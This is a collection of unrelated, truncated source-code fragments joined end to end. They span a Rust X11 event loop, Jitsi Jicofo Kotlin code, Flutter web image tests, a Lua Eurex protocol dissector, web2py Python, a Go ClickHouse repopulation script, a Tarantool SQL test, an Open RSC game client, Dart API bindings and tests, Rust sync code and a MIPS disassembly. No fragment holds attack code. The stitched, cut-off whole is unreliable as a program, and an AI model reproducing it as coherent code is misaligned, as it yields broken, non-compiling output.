    // A dummy, `InputOnly` window that we can use to receive wakeup events and interrupt blocking
    // `XNextEvent` calls.
    wakeup_dummy_window: ffi::Window,
}

pub struct EventsLoopProxy {
    pending_wakeup: Weak<AtomicBool>,
    display: Weak<XConnection>,
    wakeup_dummy_window: ffi::Window,
}

impl EventsLoop {
    pub fn new(display: Arc<XConnection>) -> EventsLoop {
        let wm_delete_window = unsafe { (display.xlib.XInternAtom)(display.display, b"WM_DELETE_WINDOW\0".as_ptr() as *const c_char, 0) };
        display.check_errors().expect("Failed to call XInternAtom");

        let xi2ext = unsafe {
            let mut result = XExtension {
                opcode: mem::uninitialized(),
                first_event_id: mem::uninitialized(),
                first_error_id: mem::uninitialized(),
            };
            let res = (display.xlib.XQueryExtension)(
                display.display,
                b"XInputExtension\0".as_ptr() as *const c_char,
                &mut result.opcode as *mut c_int,
                &mut result.first_event_id as *mut c_int,
                &mut result.first_error_id as *mut c_int);
            if res == ffi::False {
                panic!("X server missing XInput extension");
            }
            result
        };

        unsafe {
            let mut xinput_major_ver = ffi::XI_2_Major;
            let mut xinput_minor_ver = ffi::XI_2_Minor;

            if (display.xinput2.XIQueryVersion)(display.display, &mut xinput_major_ver, &mut xinput_minor_ver) != ffi::Success as libc::c_int {
                panic!("X server has XInput extension {}.{} but does not support XInput2", xinput_major_ver, xinput_minor_ver);
            }
        }

        let root = unsafe { (display.xlib.XDefaultRootWindow)(display.display) };

        let wakeup_dummy_window = unsafe {
            let (x, y, w, h) = (10, 10, 10, 10);
            let (border_w, border_px, background_px) = (0, 0, 0);
            (display.xlib.XCreateSimpleWindow)(display.display, root, x, y, w, h,
                                               border_w, border_px, background_px)
        };

        let result = EventsLoop {
            pending_wakeup: Arc::new(AtomicBool::new(false)),
            display: display,
            wm_delete_window: wm_delete_window,
            windows: Arc::new(Mutex::new(HashMap::new())),
            devices: Mutex::new(HashMap::new()),
            xi2ext: xi2ext


= false)).any {
                    it.uri == tccUri
                } shouldBe false
                CodecUtil.createVideoRtpHdrExtExtensions(OfferOptions(tcc = false)).any {
                    it.uri == tccUri
                } shouldBe false

                withNewConfig("jicofo.codec.rtp-extensions.tcc.enabled=false") {
                    CodecUtil.createAudioRtpHdrExtExtensions().any { it.uri == tccUri } shouldBe false
                    CodecUtil.createVideoRtpHdrExtExtensions().any { it.uri == tccUri } shouldBe false
                }
            }
        }
    }
}
/*
 * Jicofo, the Jitsi Conference Focus.
 *
 * Copyright @ 2021 - present 8x8, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package org.jitsi.jicofo.bridgeload

import org.jitsi.jicofo.ConferenceStore
import org.jitsi.jicofo.TaskPools
import org.jitsi.jicofo.bridge.Bridge
import org.jitsi.jicofo.bridge.BridgeSelector
import org.jitsi.jicofo.conference.JitsiMeetConference
import org.jitsi.jicofo.metrics.JicofoMetricsContainer
import org.jitsi.utils.logging2.createLogger
import org.jxmpp.jid.impl.JidCreate
import java.time.Instant
import java.util.concurrent.TimeUnit
import kotlin.jvm.Throws
import kotlin.math.min
import kotlin.math.roundToInt
import org.jitsi.jicofo.bridge.BridgeConfig.Companion.config as config

/**
 * This class serves two purposes:
 * 1. Provide an API that can be used externally (exposed via HTTP) to move endpoints away from a bridge:
 *  - [moveEndpoint]
 *  - [moveEndpoints]
 *  - [moveFraction]
 * 2. Optionally, automatically redistribute load from overloaded bridges to non-overloaded ones. This is controlled by
 * the [config.loadRedistribution] configuration.
 */
class LoadRedistributor(private val conferenceStore: ConferenceStore, private val bridgeSelector: BridgeSelector) {
    val logger = createLogger()

    private var task = if (config.loadRedistribution.enabled) {
        logger.info("Enabling automatic load redistribution: ${config.loadRedistribution}")
        TaskPools.scheduledPool.scheduleAtFixedRate(
            { run() },
            config.loadRedistribution.interval.toMillis(),
            config.loadRedistribution.interval.toMillis(),
            TimeUnit.MILLISECONDS
        )
    } else {
        null
    }

    fun shutdown() = task?.let {
        logger.info("Stopping load redistribution")
        it.cancel(true)
        bridgesInTimeout.clear()
    }

    private val bridgesInTimeout: MutableMap<Bridge, Instant> = mutableMapOf()

    private fun run() {
        try {
            logger.trace("Running load redistribution")
            if (!bridgeSelector.hasNonOverloadedBridge()) {
                logger.warn("No non-overloaded bridges, skipping load redistribution")
                return
            }

            cleanupTimeouts()
            bridgeSelector.getAll().filter { !bridgesInTimeout.containsKey(it) }.forEach(::runSingleBridge)
        } catch (e: Exception) {
            logger.error("Error running load redistribution", e)
        }
    }

    private fun runSingleBridge(bridge: Bridge) {
        if (bridge.correctedStress >= config.loadRed


width, 100);
      expect(frameInfo.image.toString(), '[100×100]');
    });
    test('dispose image image', () async {
      final HtmlImageElementCodec codec = createImageElementCodec('sample_image1.png');
      final ui.FrameInfo frameInfo = await codec.getNextFrame();
      expect(frameInfo.image, isNotNull);
      expect(frameInfo.image.debugDisposed, isFalse);
      frameInfo.image.dispose();
      expect(frameInfo.image.debugDisposed, isTrue);
    });
    test('provides image loading progress', () async {
      final StringBuffer buffer = StringBuffer();
      final HtmlImageElementCodec codec = createImageElementCodec(
          'sample_image1.png', chunkCallback: (int loaded, int total) {
        buffer.write('$loaded/$total,');
      });
      await codec.getNextFrame();
      expect(buffer.toString(), '0/100,100/100,');
    });

    /// Regression test for Firefox
    /// https://github.com/flutter/flutter/issues/66412
    test('Returns nonzero natural width/height', () async {
      final HtmlImageElementCodec codec = createImageElementCodec(
          'data:image/svg+xml;base64,PHN2ZyByb2xlPSJpbWciIHZpZXdCb3g9I'
          'jAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48dG'
          'l0bGU+QWJzdHJhY3QgaWNvbjwvdGl0bGU+PHBhdGggZD0iTTEyIDBjOS42MDEgMCAx'
          'MiAyLjM5OSAxMiAxMiAwIDkuNjAxLTIuMzk5IDEyLTEyIDEyLTkuNjAxIDAtMTItMi'
          '4zOTktMTItMTJDMCAyLjM5OSAyLjM5OSAwIDEyIDB6bS0xLjk2OSAxOC41NjRjMi41'
          'MjQuMDAzIDQuNjA0LTIuMDcgNC42MDktNC41OTUgMC0yLjUyMS0yLjA3NC00LjU5NS'
          '00LjU5NS00LjU5NVM1LjQ1IDExLjQ0OSA1LjQ1IDEzLjk2OWMwIDIuNTE2IDIuMDY1'
          'IDQuNTg4IDQuNTgxIDQuNTk1em04LjM0NC0uMTg5VjUuNjI1SDUuNjI1djIuMjQ3aD'
          'EwLjQ5OHYxMC41MDNoMi4yNTJ6bS04LjM0NC02Ljc0OGEyLjM0MyAyLjM0MyAwIDEx'
          'LS4wMDIgNC42ODYgMi4zNDMgMi4zNDMgMCAwMS4wMDItNC42ODZ6Ii8+PC9zdmc+');
      final ui.FrameInfo frameInfo = await codec.getNextFrame();
      expect(frameInfo.image.width, isNot(0));
    });
  }, skip: isSkwasm);

  group('ImageCodecUrl', () {
    test('loads sample image from web', () async {
      final Uri uri = Uri.base.resolve('sample_image1.png');
      final HtmlImageElementCodec codec =
          await ui_web.createImageCodecFromUrl(uri) as HtmlImageElementCodec;
      final ui.FrameInfo frameInfo = await codec.getNextFrame();

      expect(codec.imgElement, isNotNull);
      expect(codec.imgElement!.src, contains('sample_image1.png'));
      expect(codec.imgElement!.crossOrigin, isHtml ? isNull : 'anonymous');
      expect(codec.imgElement!.decoding, 'async');

      expect(frameInfo.image, isNotNull);
      expect(frameInfo.image.width, 100);
    });
    test('provides image loading progress from web', () async {
      final Uri uri = Uri.base.resolve('sample_image1.png');
      final StringBuffer buffer = StringBuffer();
      final HtmlImageElementCodec codec = await ui_web
          .createImageCodecFro


isplay = function(value)
  if value == 1 then
    return "Trade Condition: Implied Trade (1)"
  end
  if value == 86 then
    return "Trade Condition: Special Auction Price (86)"
  end
  if value == 107 then
    return "Trade Condition: Out Of Sequence (107)"
  end
  if value == 153 then
    return "Trade Condition: Systematic Internalizer (153)"
  end
  if value == 155 then
    return "Trade Condition: Midpoint Price (155)"
  end
  if value == 156 then
    return "Trade Condition: Traded Before Issue Date (156)"
  end
  if value == 0xFF then
    return "Trade Condition: No Value"
  end

  return "Trade Condition: Unknown("..value..")"
end

-- Dissect: Trade Condition
eurex_derivatives_eobi_t7_v8_0.trade_condition.dissect = function(buffer, offset, packet, parent)
  local length = eurex_derivatives_eobi_t7_v8_0.trade_condition.size
  local range = buffer(offset, length)
  local value = range:le_uint()
  local display = eurex_derivatives_eobi_t7_v8_0.trade_condition.display(value, buffer, offset, packet, parent)

  parent:add(omi_eurex_derivatives_eobi_t7_v8_0.fields.trade_condition, range, value, display)

  return offset + length, value
end

-- Trd Match Id
eurex_derivatives_eobi_t7_v8_0.trd_match_id = {}

-- Size: Trd Match Id
eurex_derivatives_eobi_t7_v8_0.trd_match_id.size = 4

-- Display: Trd Match Id
eurex_derivatives_eobi_t7_v8_0.trd_match_id.display = function(value)
  -- Check if field has value
  if value == 0xFFFFFFFF then
    return "Trd Match Id: No Value"
  end

  return "Trd Match Id: "..value
end

-- Dissect: Trd Match Id
eurex_derivatives_eobi_t7_v8_0.trd_match_id.dissect = function(buffer, offset, packet, parent)
  local length = eurex_derivatives_eobi_t7_v8_0.trd_match_id.size
  local range = buffer(offset, length)
  local value = range:le_uint()
  local display = eurex_derivatives_eobi_t7_v8_0.trd_match_id.display(value, buffer, offset, packet, parent)

  parent:add(omi_eurex_derivatives_eobi_t7_v8_0.fields.trd_match_id, range, value, display)

  return offset + length, value
end

-- Trd Reg Ts Execution Time
eurex_derivatives_eobi_t7_v8_0.trd_reg_ts_execution_time = {}

-- Size: Trd Reg Ts Execution Time
eurex_derivatives_eobi_t7_v8_0.trd_reg_ts_execution_time.size = 8

-- Display: Trd Reg Ts Execution Time
eurex_derivatives_eobi_t7_v8_0.trd_reg_ts_execution_time.display = function(value)
  -- Check null sentinel value
  if value == UInt64(0xFFFFFFFF, 0xFFFFFFFF) then
    return "Trd Reg Ts Execution Time: No Value"
  end
  -- Parse unix timestamp
  local seconds = math.floor(value:tonumber()/1000000000)
  local nanoseconds = value:tonumber()%1000000000

  return "Trd Reg Ts Execution Time: "


# -*- coding: utf-8 -*-

import datetime

from gluon import *

class TeachersPaymentClass:
    """
        Class that gathers useful functions for db.teachers_payments_attendance
    """
    def __init__(self, tpcID):
        db = current.db

        self.tpcID = tpcID
        self.row = db.teachers_payment_classes(tpcID)

    def verify(self):
        """
        Verify class attendance
        :return:
        """
        from .os_class import Class

        auth = current.auth
        NOW_LOCAL = current.NOW_LOCAL

        self.row.VerifiedBy = auth.user.id
        self.row.Status = 'verified'
        self.row.VerifiedOn = NOW_LOCAL

        result = self.row.update_record()

        return result

    def unverify(self):
        """
        Unverify class attendance
        :return:
        """
        from .os_class import Class

        auth = current.auth

        self.row.VerifiedBy = None
        self.row.Status = 'not_verified'
        self.row.VerifiedOn = None

        result = self.row.update_record()

        return result

    def set_status(self, status):
        """

        :param status:
        :return:
        """
        self.row.Status = status
        self.row.update_record()

    def set_status_processed(self):
        self.set_status('processed')


er recreating the tables
		startTimestampStr = repopulator.GetMinMaxDate("SELECT min(Timestamp) FROM cosmo.otel_traces FORMAT TabSeparated")

		if startTimestampStr == "" {
			log.Fatal("Failed to retrieve start timestamp from the database.")
		}

		log.Printf("Start timestamp: %s\n", startTimestampStr)
		log.Printf("End timestamp: %s\n", repopulator.FormatDateTime(endTimestamp))

		// Append the end timestamp as the first line to the success log
		repopulator.AppendToFile("success_log.txt", repopulator.FormatDateTime(endTimestamp)+"\n")
	} else if resume {
		startTimestampStr = repopulator.GetMinMaxDate("SELECT min(Timestamp) FROM cosmo.otel_traces FORMAT TabSeparated")
		// Read the end timestamp and processed ranges from success log
		endTimestampStr, processedRangesRead := repopulator.ReadSuccessLog()

		processedRanges = processedRangesRead
		endTimestamp, _ = repopulator.ParseDateTime(endTimestampStr)
		log.Println("Resume mode enabled. Using end date from success log and skipping processed ranges.")
		log.Printf("Start timestamp: %s\n", startTimestampStr)
		log.Printf("End timestamp: %s\n", repopulator.FormatDateTime(endTimestamp))
	} else {
		log.Println("Retry mode enabled. Processing dates and hours from error_log.txt.")
	}

	var wg sync.WaitGroup
	semaphore := make(chan struct{}, ConcurrencyLimit)

	if retry {
		file, err := os.Open("error_log.txt")
		if err != nil {
			log.Fatalf("Failed to open error log: %v", err)
		}
		defer file.Close()

		var failedJobs []string
		scanner := bufio.NewScanner(file)
		for scanner.Scan() {
			line := scanner.Text()
			failedJobs = append(failedJobs, line)
		}

		if err := scanner.Err(); err != nil {
			log.Fatalf("Failed to read error log: %v", err)
		}

		// Clear the contents of the error_log.txt after all lines are read
		if err := os.WriteFile("error_log.txt", []byte{}, 0644); err != nil {
			log.Fatalf("Failed to clear error log: %v", err)
		}

		// Process all stored start and end times
		for _, job := range failedJobs {
			parts := strings.SplitN(job, " ", 5)
			if len(parts) < 4 {
				log.Printf("Invalid line in error log: %s\n", job)
				continue
			}
			startTimeStr := parts[0] + " " + parts[1]
			endTimeStr := parts[2] + " " + parts[3]

			startTime, err := repopulator.ParseDateTime(startTimeStr)
			if err != nil {
				log.Printf("Failed to parse startTime in error log: %s\n", startTimeStr)
				continue
			}
			endTime, err := repopulator.ParseDateTime(endTimeStr)
			if err != nil {
				log.Printf("Failed to parse endTime in error log: %s\n", endTimeStr)
				continue
			}

			wg.Add(1)
			go repopulator.ExecuteSQLCommand(startTime, endTime, &wg, semaphore)
		}
	} else {
		// Parse startTimestamp
		startTimestamp, err := repopulator.ParseDateTime(startTimestampStr)
		if err != nil {
			log.Fatalf("Failed to parse start timestamp: %v", err)
		}

		// Round start timestamp to the start of the hour
		currentTime := startTimestamp.Truncate(time.Hour)

		for currentTime.Before(endTimestamp) {
			nextTime := currentTime.Add(time.Hour)


#!/usr/bin/env tarantool
local test = require("sqltester")

test:plan(4)

local tt = {}
local table_word = "АААААААААА"

-- Create 30kb table name
for _=1,300 do
	table.insert(tt, table_word)
end

local table_name = table.concat(tt)

-- Execute CREATE TABLE statement with 30kb table identifier
test:do_execsql_test(
	"identifier-1.1",
	"CREATE TABLE " .. table_name .. "(a INT PRIMARY KEY);"
	, {
	    -- <identifier-1.1>

	    -- <identifier-1.1>
	})

local vt = {}
local view_word = "BBBBBBBBBB"

-- Create 30kb view name
for _=1, 300 do
	table.insert(vt, view_word)
end

local view_name = table.concat(vt)

test:do_execsql_test(
	"identifier-1.2",
	"CREATE VIEW " .. view_name .. " AS SELECT 1; "
	, {
	    -- <identifier-1.2>
	    -- <identifier-1.2>
	})

local it = {}
local index_word = "ЕЕЕЕЕЕЕЕЕЕ"

-- Create 30kb index name
for _=1, 300 do
	table.insert(it, index_wor


lfGameHeight() + 33);

			// Third view
			zoom_distance = 500;
			rotation = 376;
			slide_x = 11136;
			slide_y = 10368;

			for (var9 = 0; var9 < 64; ++var9) {
				this.scene.removeModel(this.world.modelRoofGrid[0][var9]);
				this.scene.removeModel(this.world.modelWallGrid[1][var9]);
				this.scene.removeModel(this.world.modelRoofGrid[1][var9]);
				this.scene.removeModel(this.world.modelWallGrid[2][var9]);
				this.scene.removeModel(this.world.modelRoofGrid[2][var9]);
			}

			this.scene.fogLandscapeDistance = 10000;
			this.scene.fogEntityDistance = 10000;
			this.scene.fogZFalloff = 1;
			this.scene.fogSmoothingStartDistance = 10000;
			this.scene.setCamera(slide_x, -this.world.getElevation(slide_x, slide_y), slide_y, 912, rotation, 0, zoom_distance * 2);
			this.scene.endScene(-111);

			this.getSurface().fade2black(16316665);
			this.getSurface().fade2black(16316665);
			this.getSurface().drawBox(0, 0, getGameWidth(), 6, 0);

			for (var9 = 6; var9 >= 1; --var9) {
				this.getSurface().a(8, var9, var9, 0, 16740352, getGameWidth(), 0);
			}

			this.getSurface().drawBox(0, halfGameHeight() + 27, getGameWidth(), 20, 0);

			for (var9 = 6; var9 >= 1; --var9) {
				this.getSurface().a(8, var9, halfGameHeight() + 27, 0, 16740352, getGameWidth(), 0);
			}

			if (DISPLAY_LOGO_SPRITE)
				this.getSurface().drawSprite(spriteSelect(GUIPARTS.MAINLOGO.getDef()), 15, 15);
			//this.getSurface().drawColoredStringCentered(250, "Open RSC", 0xFFFFFF, 0, 7, 110); // width, title, color, crown sprite, font size, height
			this.getSurface().storeSpriteVert(2, 0, 0, getGameWidth(), halfGameHeight() + 33);
		} catch (RuntimeException var10) {
			throw GenUtil.makeThrowable(var10, "client.HC(" + var1 + ')');
		}

	}

	private void resetGame(int var1) {
		try {
			this.systemUpdate = 0;
			this.elixirTimer = 0;
			this.loginScreenNumber = 0;
			this.logoutTimeout = 0;

			this.currentViewMode = GameMode.GAME;
			this.clearInputString80((byte) -49);

			for (NComponent n : mainComponent.subComponents())
				n.setVisible(false);

			clan.putClan(false);
			party.putParty(false);
			if (S_EXPERIENCE_DROPS_TOGGLE)
				experienceOverlay.setVisible(true);
			this.getSurface().blackScreen(true);
			// this.getSurface().draw(this.graphics, this.screenOffsetX, 256,
			// this.screenOffsetY);
			clientPort.setTitle(Config.getServerName());
			clientPort.draw();

			int i;
			for (i = 0; i < this.gameObjectInstanceCount; ++i) {
				this.scene.removeModel(this.gameObjectInstanceModel[i]);
				this.world.removeGameObject_CollisonFlags(this.gameObjectInstanceID[i],
					this.gameObjectInstanceX[i], this.gameObjectInstanceZ[i]);
			}

			for (i = 0; i < this.wallObjectInstanceCount; ++i) {
				this.scene.removeModel(this.wallObjectInstanceModel[i]);


 else {
            // the head unreachable
            false
        };

        // if reachable, append the head
        if flag {
            root.append(&mut head);
        }
    }
}
//! Implements Python bindings for program generation data structures and functions

mod condition;
pub mod flow_options;
pub mod group;
pub mod interface;
mod pattern_group;
mod resources;
mod test;
mod test_invocation;

pub use condition::Condition;
pub use group::Group;
use origen::core::tester::TesterSource;
use origen::prog_gen::{flow_api, FlowCondition, Model, ParamType, ParamValue};
use origen::testers::SupportedTester;
use origen::{Error, Result, FLOW};
pub use pattern_group::PatternGroup;
use pyo3::prelude::*;
use pyo3::types::PyAny;
use pyo3::wrap_pyfunction;
use resources::Resources;
use std::collections::HashMap;
use std::thread;
pub use test::Test;
pub use test_invocation::TestInvocation;

#[pymodule]
/// Implements the module _origen.prog_gen in Python
pub fn prog_gen(_py: Python, m: &PyModule) -> PyResult<()> {
    m.add_wrapped(wrap_pyfunction!(start_new_flow))?;
    m.add_wrapped(wrap_pyfunction!(end_flow))?;
    m.add_wrapped(wrap_pyfunction!(render))?;
    Ok(())
}

#[pyfunction]
fn start_new_flow(
    name: &str,
    sub_flow: Option<bool>,
    bypass_sub_flows: Option<bool>,
    add_flow_enable: Option<&str>,
) -> PyResult<Vec<usize>> {
    let sub_flow = match sub_flow {
        None => false,
        Some(x) => x,
    };
    let mut refs = vec![];
    if sub_flow {
        refs.push(flow_api::start_sub_flow(name, None, None)?);
    } else {
        FLOW.start(name)?;
        refs.push(0);
        if let Some(bypass) = bypass_sub_flows {
            if bypass {
                refs.push(flow_api::start_bypass_sub_flows(None)?);
            }
        }
        if let Some(enable) = add_flow_enable {
            let flag = format!("{}_enable", name);
            refs.push(flow_api::start_condition(
                FlowCondition::IfEnable(vec![flag.clone()]),
                None,
            )?);
            if enable.to_lowercase() == "enabled" {
                flow_api::set_default_flag_state(flag, true, None)?;
            } else if enable.to_lowercase() == "disabled" {
                flow_api::set_default_flag_state(flag, false, None)?;
            } else {
                return Err(PyErr::from(Error::new(&format!(
                    "The add_flow_enable argument must be either None (default), \"enabled\" or \"disabled\", got '{}'",
                    enable
                ))));
            }
        }
    }
    refs.reverse();
    Ok(refs)
}

#[pyfunction]
fn end_flow(ref_ids: Vec<usize>) -> PyResult<()> {
    for ref_id in ref_ids {
        if ref_id == 0 {
            FLOW.end()?;
        } else {
            flow_api::end_block(ref_id)?;
        }
    }
    Ok(())
}

// Called automatically by Origen once all test program source files have been executed
#[pyfunction]
fn render(py: Python) -> PyResult<Vec<String>> {
    let continue_on_fail = true;
    py.allow_threads(|| {
        let targets = {
            let tester = origen::tester();
            tester.targets().clone()
        };
        let threads: Vec<_> = targets.iter().enumerate().map(|(i, t)| {
            let t = t.to_owned();
            thread::spawn(move || {
                match t {
                    TesterSource::External(g) => {
                        log_error!("Python based tester targets are not supported for program ge


namespace System.Workflow.Activities.Rules.Design
{
    using System;
    using System.Collections;
    using System.Runtime;

    internal class AutoCompletionEventArgs : EventArgs
    {
        private ICollection autoCompleteValues;
        private string prefix;

        public ICollection AutoCompleteValues
        {
            [TargetedPatchingOptOut("Performance critical to inline this type of method across NGen image boundaries")]
            get
            {
                return this.autoCompleteValues;
            }
            [TargetedPatchingOptOut("Performance critical to inline this


  }
}

class ProjectsLocationsTemplatesResource {
  final commons.ApiRequester _requester;

  ProjectsLocationsTemplatesResource(commons.ApiRequester client)
    : _requester = client;

  /// Creates a Cloud Dataflow job from a template.
  ///
  /// Do not enter confidential information when you supply string values using
  /// the API. To create a job, we recommend using
  /// `projects.locations.templates.create` with a
  /// [regional endpoint](https://cloud.google.com/dataflow/docs/concepts/regional-endpoints).
  /// Using `projects.templates.create` is not recommended, because your job
  /// will always start in `us-central1`.
  ///
  /// [request] - The metadata request object.
  ///
  /// Request parameters:
  ///
  /// [projectId] - Required. The ID of the Cloud Platform project that the job
  /// belongs to.
  ///
  /// [location] - The
  /// [regional endpoint](https://cloud.google.com/dataflow/docs/concepts/regional-endpoints)
  /// to which to direct the request.
  ///
  /// [$fields] - Selector specifying which fields to include in a partial
  /// response.
  ///
  /// Completes with a [Job].
  ///
  /// Completes with a [commons.ApiRequestError] if the API endpoint returned an
  /// error.
  ///
  /// If the used [http.Client] completes with an error when making a REST call,
  /// this method will complete with the same error.
  async.Future<Job> create(
    CreateJobFromTemplateRequest request,
    core.String projectId,
    core.String location, {
    core.String? $fields,
  }) async {
    final body_ = convert.json.encode(request);
    final queryParams_ = <core.String, core.List<core.String>>{
      if ($fields != null) 'fields': [$fields],
    };

    final url_ =
        'v1b3/projects/' +
        commons.escapeVariable('$projectId') +
        '/locations/' +
        commons.escapeVariable('$location') +
        '/templates';

    final response_ = await _requester.request(
      url_,
      'POST',
      body: body_,
      queryParams: queryParams_,
    );
    return Job.fromJson(response_ as core.Map<core.String, core.dynamic>);
  }

  /// Get the template associated with a template.
  ///
  /// To get the template, we recommend using `projects.locations.templates.get`
  /// with a
  /// [regional endpoint](https://cloud.google.com/dataflow/docs/concepts/regional-endpoints).
  /// Using `projects.templates.get` is not recommended, because only templates
  /// that are running in `us-central1` are retrieved.
  ///
  /// Request parameters:
  ///
  /// [projectId] - Required. The ID of the Cloud Platform project that the job
  /// belongs to.
  ///
  /// [location] - The
  /// [regional endpoint](https://cloud.google.com/dataflow/docs/concepts/regional-endpoints)
  /// to which to direct the request.
  ///
  /// [gcsPath] - Required. A Cloud Storage path to the template from which to
  /// create the job. Must be valid Cloud Storage URL, beginning with 'gs://'.
  ///
  /// [view] - The view to retrieve. Defaults to METADATA_ONLY.
  /// Possible string values are:
  /// - "METADATA_ONLY" : Template view that retrieves only the metadata
  /// associated with the template.
  ///
  /// [$fields] - Selector specifying which fields to include in a partial
  /// response.
  ///
  /// Completes with a [GetTemplateResponse].
  ///
  /// Completes with a [commons.ApiRequestError] if the API endpoint returned an
  /// error.
  ///
  /// If the used [http.Client] completes with an error when making a REST call,
  /// this meth


indexWhere((String? element) => element == "do"), 0);
  });

  test("lastIndexOf", () {
    // 1) Regular Usage
    final ListSet<String> listSet = ListSet.of(["do", "re", "mi", "re"]);
    expect(listSet.lastIndexOf("re", 2), 1);
    expect(listSet.lastIndexOf("re"), 1);
    expect(listSet.lastIndexOf("fa"), -1);

    // 2) Start is out of range
    expect(listSet.lastIndexOf("do", -1), -1);
    expect(listSet.lastIndexOf("do", 4), 0);
  });

  test("lastIndexWhere", () {
    // 1) Regular usage
    final ListSet<String> listSet = ListSet.of(["do", "re", "mi", "re"]);
    expect(listSet.lastIndexWhere((String note) => note.startsWith("r")), 1);
    expect(listSet.lastIndexWhere((String note) => note.startsWith("r"), 2), 1);
    expect(listSet.lastIndexWhere((String note) => note.startsWith("k")), -1);

    // 2) Start is out of range
    expect(listSet.lastIndexWhere((String note) => false, -1), -1);
    expect(listSet.lastIndexWhere((String note) => false, 4), -1);
    expect(listSet.lastIndexWhere((String note) => note.startsWith("d"), -1), -1);
    expect(listSet.lastIndexWhere((String note) => note.startsWith("d"), 4), 0);
  });

  test("reversed", () {
    expect(ListSet.of(["do", "re", "mi", "re"]).reversed, ["mi", "re", "do"]);
  });

  test("reversedView", () {
    expect(ListSet.of(["do", "re", "mi", "re"]).reversedView, ["mi", "re", "do"]);
  });

  test("remove", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20]).remove(10), throwsUnsupportedError);
  });

  test("removeAll", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20]).removeAll([10, 50, 100]),
        throwsUnsupportedError);
  });

  test("removeAll", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20]).removeAll([10, 50, 100]),
        throwsUnsupportedError);
  });

  test("removeWhere", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20]).removeWhere((int value) => value > 10),
        throwsUnsupportedError);
  });

  test("retainsAll", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20]).retainAll([10, 50, 100]),
        throwsUnsupportedError);
  });

  test("retainWhere", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20]).retainWhere((int value) => value > 10),
        throwsUnsupportedError);
  });

  test("[]=", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20])[3] = 1000, throwsUnsupportedError);
  });

  test("fillRange", () {
    expect(() => ListSet.of([1, 10, 50, -2, 8, 10, -2, 20]).fillRange(1, 3, 1000),
        throwsUnsupportedError);
  });

  test("first setter", () {
    expect(() => ListSet.of(


nput: Receiver<ProgressMessage>,
        is_rerun: Sender<EndState>,
        end_run: Receiver<EndState>,
    ) -> ProgressWorker {
        ProgressWorker {
            src_share: src_share.to_string(),
            dest_share: dest_share.to_string(),
            input,
            progress_info,
            is_rerun,
            end_run,
        }
    }

    /// Process ProgressMessages, sending logs to postgres_logger, and track current progress through
    /// progress_info
    pub fn start(
        &self,
        send_log: &Sender<LogMessage>,
        get_signal: &Sender<EndState>,
    ) -> ForkliftResult<SyncStats> {
        let mut stats = SyncStats::new();
        let mut file_done;
        loop {
            stats.reset();
            let mut current_file = "".to_string();
            let mut index = 0;
            let mut total_done = 0;
            let now = Instant::now();

            self.progress_info.start(&self.src_share, &self.dest_share);
            for progress in self.input.iter() {
                match progress {
                    ProgressMessage::Todo { num_files, tot_size } => {
                        stats.num_files += num_files;
                        stats.tot_size += tot_size;
                    }
                    ProgressMessage::StartSync(x) => {
                        self.progress_info.new_file(&x);
                        current_file = x;
                        index += 1;
                    }
                    ProgressMessage::DoneSyncing(x) => {
                        self.progress_info.done_syncing();
                        stats.add_outcome(&x);
                        match x {
                            SyncOutcome::FileCopied(path, src_check, dest_check, size, update) => {
                                let file = Files::new(
                                    &format!("{:?}{:?}", self.src_share, path),
                                    src_check,
                                    dest_check,
                                    size,
                                    update,
                                );
                                send_mess(LogMessage::File(file), send_log)?;
                            }
                            SyncOutcome::ChecksumUpdated(
                                path,
                                src_check,
                                dest_check,
                                size,
                                update,
                            ) => {
                                let file = Files::new(
                                    &format!("


0,0x780
bfc27808:	24030001 	li	v1,1
bfc2780c:	2d029fdf 	sltiu	v0,t0,-24609
bfc27810:	144305bf 	bne	v0,v1,bfc28f10 <inst_error>
bfc27814:	00000000 	nop
/home/ghj/Desktop/func/inst/n10_sltiu.S:58
bfc27818:	3c08ea28 	lui	t0,0xea28
bfc2781c:	3508e0c8 	ori	t0,t0,0xe0c8
bfc27820:	24030000 	li	v1,0
bfc27824:	2d025fa2 	sltiu	v0,t0,24482
bfc27828:	144305b9 	bne	v0,v1,bfc28f10 <inst_error>
bfc2782c:	00000000 	nop
/home/ghj/Desktop/func/inst/n10_sltiu.S:59
bfc27830:	3c080ec1 	lui	t0,0xec1
bfc27834:	3508dee5 	ori	t0,t0,0xdee5
bfc27838:	24030000 	li	v1,0
bfc2783c:	2d0272d2 	sltiu	v0,t0,29394
bfc27840:	144305b3 	bne	v0,v1,bfc28f10 <inst_error>
bfc27844:	00000000 	nop
/home/ghj/Desktop/func/inst/n10_sltiu.S:60
bfc27848:	3c0826b8 	lui	t0,0x26b8
bfc2784c:	3508c998 	ori	t0,t0,0xc998
bfc27850:	24030000 	li	v1,0
bfc27854:	2d0273de 	sltiu	v0,t0,29662
bfc27858:	144305ad 	bne	v0,v1,bfc28f10 <inst_error>
bfc2785c:	00000000 	nop
/home/ghj/Desktop/func/inst/n10_sltiu.S:61
bfc27860:	3c08bd07 	lui	t0,0xbd07
bfc27864:	35085074 	ori	t0,t0,0x5074
bfc27868:	24030000 	li	v1,0
bfc2786c:	2d02449e 	sltiu	v0,t0,17566
bfc27870:	144305a7 	bne	v0,v1,bfc28f10 <inst_error>
bfc27874:	00000000 	nop
/home/ghj/Desktop/func/inst/n10_sltiu.S:62
bfc27878:	3c089d53 	lui	t0,0x9d53
bfc2787c:	3508bafc 	ori	t0,t0,0xbafc
bfc27880:	24030001 	li	v1,1
bfc27884:	2d02ec24 	sltiu	v0,t0,-5084
bfc27888:	144305a1 	bne	v0,v1,bfc28f10 <inst_error>
bfc2788c:	00000000 	nop
